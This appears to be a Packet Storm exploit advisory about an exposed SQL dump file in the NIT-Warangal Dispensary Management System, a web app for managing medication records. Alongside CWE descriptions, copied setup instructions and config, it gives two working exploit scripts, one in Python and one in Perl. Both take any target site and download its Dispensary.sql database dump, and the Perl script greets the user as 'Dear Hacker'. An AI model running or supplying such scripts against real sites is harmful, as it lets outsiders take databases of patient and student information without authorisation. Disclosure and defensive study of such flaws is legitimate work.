Lucene search

K
packetstormKingSkrupellosPACKETSTORM:152524
HistoryApr 15, 2019 - 12:00 a.m.

NIT-Warangal Dispensary Management System India 1.0 Database Disclosure

2019-04-1500:00:00
KingSkrupellos
packetstormsecurity.com
42
`###########################################################################  
  
# Exploit Title : NIT-Warangal Dispensary Management System India 1.0 Database Disclosure  
# Author [ Discovered By ] : KingSkrupellos  
# Team : Cyberizm Digital Security Army  
# Date : 15/04/2019  
# Vendor Homepage : nitw.ac.in  
# Software Download Link : github.com/NIT-Warangal/DispensaryMS/archive/master.zip  
# Sofware Information : nitw.ac.in/main/facilities/medical/  
en.wikipedia.org/wiki/National_Institute_of_Technology,_Warangal  
# Software Version : 1.0  
# Tested On : Windows and Linux  
# Category : WebApps  
# Exploit Risk : Medium  
# Vulnerability Type :   
CWE-200 [ Information Exposure ]  
CWE-538 [ File and Directory Information Exposure ]  
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968  
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/  
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos  
# Acunetix Reference Link About => [ phpMyAdmin SQL Dump File ]  
acunetix.com/vulnerabilities/web/phpmyadmin-sql-dump/  
# Acunetix Reference Link About : [ Possible Database Backup File ]  
acunetix.com/vulnerabilities/web/possible-database-backup/  
  
###########################################################################  
  
# Information about Software :  
****************************  
This project is an effort to reduce the amount of paperwork thats used in the dispensary system   
  
at NIT-Warangal. It aims to computerize the process of a student/professor getting their medication   
  
and at the same time serve as a validation system to pharmacy medication and inventory system.  
  
###########################################################################  
  
# Impact :  
***********  
* The product stores sensitive information in files or directories that are accessible   
  
to actors outside of the intended control sphere.  
  
* An information exposure is the intentional or unintentional disclosure of information   
  
to an actor that is not explicitly authorized to have access to that information.  
  
* phpMyAdmin is a free software tool written in PHP, intended to handle the administration of   
  
MySQL over the World Wide Web. It can be used to dump a database or a collection of   
  
databases for backup or transfer to another SQL server (not necessarily a MySQL server).   
  
The dump typically contains SQL statements to create the table, populate it, or both.   
  
This file contains an phpMyAdmin SQL dump. This information is highly sensitive and   
  
should not be found on a production system.  
  
* It looks like this file contains a database backup/dump.   
  
Acunetix inferred this filename from the domain name. A database backup contains a record of the  
  
table structure and/or the data from a database and is usually in the form of a list of SQL statements.   
  
A database backup is most often used for backing up a database so that its contents can be restored   
  
in the event of data loss. This information is highly sensitive and should never be found on a production system.  
  
Remediation : Sensitive files such as database backups should never be stored in a directory that is accessible   
  
to the web server. As a workaround, you could restrict access to this file.  
  
Development Set Up =>   
**********************  
Mac OS X and Linux =>   
***********************  
1. Go to the required folder , eg. ~/Documents  
2. git clone https://github.com/NIT-Warangal/DispensaryMS  
3. cd DispensaryMS  
4. virtualenv venv  
5. source venv/bin/activate  
6. pip install -r requirements.txt  
7. open the config.py file and set the required files.  
8. Open mysql and set up the database and sync the .sql file  
9. Open a new terminal tab and enter into venv as in step 5  
10. sudo python -m smtpd -n -c DebuggingServer localhost:25  
11. Switch back to the previous tab while keeping this running.  
12. python Dispensary.py  
  
Windows Setup =>   
********************  
1. Open cmd in administrator mode.  
2. Type "pip install flask".  
3. Type "pip install -r requirements.txt".  
4. Type "pip install flask-mysql" (if its fails do step 5 )  
5. Download connecter from http://www.codegood.com/  
6. Go to project folder and type "python server.py"  
  
(It may show some errors for some dependencies)  
1. Type "pip install -r requirements.txt".  
2. Type "python server.py"  
(Assumed the SQL using is XAMPP's MYSQL)  
  
Server Deployment =>  
*********************  
For best use a Ubuntu server or a CentOS server  
1. Follow the same development setup  
2. open screen mode in terminal  
3. run python Dispensary.py  
  
install.sh  
*********  
git clone https://www.github.com/NIT-Warangal/DispensaryMS  
cd DispensaryMS  
source venv/bin/activate  
sudo pip install -r requirements.txt  
python server.py   
  
###########################################################################  
  
File :  
******  
/Dispensary.sql  
  
Information :  
*************  
-- phpMyAdmin SQL Dump  
-- version 4.1.12  
-- phpmyadmin.net  
--  
-- Host: 127.0.0.1  
-- Server version: 5.5.37-0ubuntu0.14.04.1  
-- PHP Version: 5.5.11  
-- Database: `Dispensary`  
  
-- Table structure for table `Employee`  
  
-- Dumping data for table `Employee`  
  
-- Table structure for table `Login`  
  
-- Table structure for table `Bills` to keep track of uploads  
  
-- Table structure for table `Pharmacy`  
  
-- Table structure for table `Prescription`  
  
-- Table structure for table `PrescriptionIndex`  
  
-- Table structure for table `Student`  
  
-- Table structure for table `Users`  
  
-- Table structure for table `Letters` to keep track of uploads  
  
-- Table structure for table `ResetPassword` to keep track of uploads  
  
-- Table structure for table `CheckPassword` to keep track of uploads  
  
-- Table structure for table `ChatSessionHistory`  
  
-- Table structure for table `ChatTransactions`  
  
-- Dump Completed.  
  
raw.githubusercontent.com/NIT-Warangal/DispensaryMS/master/Dispensary.sql  
  
Information about File :  
********************  
/config.py  
  
Information :  
************  
# Database Config  
  
config = {  
'MYSQL_DATABASE_USER' : '', #Username for mysql  
'MYSQL_DATABASE_DB' : 'Dispensary',  
'MYSQL_DATABASE_PASSWORD' : '', # Password to connect to mysql  
'MYSQL_DATABASE_HOST' : 'localhost',   
'USERNAME' : '',  
'USERID' :'',  
}  
  
# To run the mail server run  
# sudo python -m smtpd -n -c DebuggingServer localhost:25  
# mail server settings  
  
MAIL_SERVER = 'localhost'  
MAIL_PORT = 25  
MAIL_USERNAME = None  
MAIL_PASSWORD = None  
  
# Administrator list  
ADMINS = ['[email protected]']  
  
raw.githubusercontent.com/NIT-Warangal/DispensaryMS/master/config.py  
  
###########################################################################  
  
# Database Disclosure Information Exposure Exploit 1 :  
***********************************************  
#!/usr/bin/python  
import string  
import re  
from urllib2 import Request, urlopen  
disc = "/Dispensary.sql"  
url = raw_input ("URL: ")  
req = Request(url+disc)  
rta = urlopen(req)  
print "Result"  
html = rta.read()  
rdo = str(re.findall("resources.*=*", html))  
print rdo  
exit  
  
###########################################################################  
  
# Database Disclosure Information Exposure Exploit 2 :  
***********************************************  
#!/usr/bin/perl -w  
# Author : KingSkrupellos  
# Team : Cyberizm Digital Security Army  
  
use LWP::Simple;  
use LWP::UserAgent;  
  
system('cls');  
system('NIT-Warangal Dispensary Management System 1.0 Database Disclosure Exploit');  
system('color a');  
  
  
if(@ARGV < 2)  
{  
print "[-]How To Use\n\n";  
&help; exit();  
}  
sub help()  
{  
print "[+] usage1 : perl $0 site.com /path/ \n";  
print "[+] usage2 : perl $0 localhost / \n";  
}  
($TargetIP, $path, $File,) = @ARGV;  
  
$File="Dispensary.sql";  
my $url = "http://" . $TargetIP . $path . $File;  
print "\n Wait Please Dear Hacker!!! \n\n";  
  
my $useragent = LWP::UserAgent->new();  
my $request = $useragent->get($url,":content_file" => "D:/Dispensary.sql");  
  
if ($request->is_success)  
{  
print "[+] $url Exploited!\n\n";  
print "[+] Database saved to D:/Dispensary.sql\n";  
exit();  
}  
else  
{  
print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n";  
exit();  
}  
  
###########################################################################  
  
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team   
  
###########################################################################  
`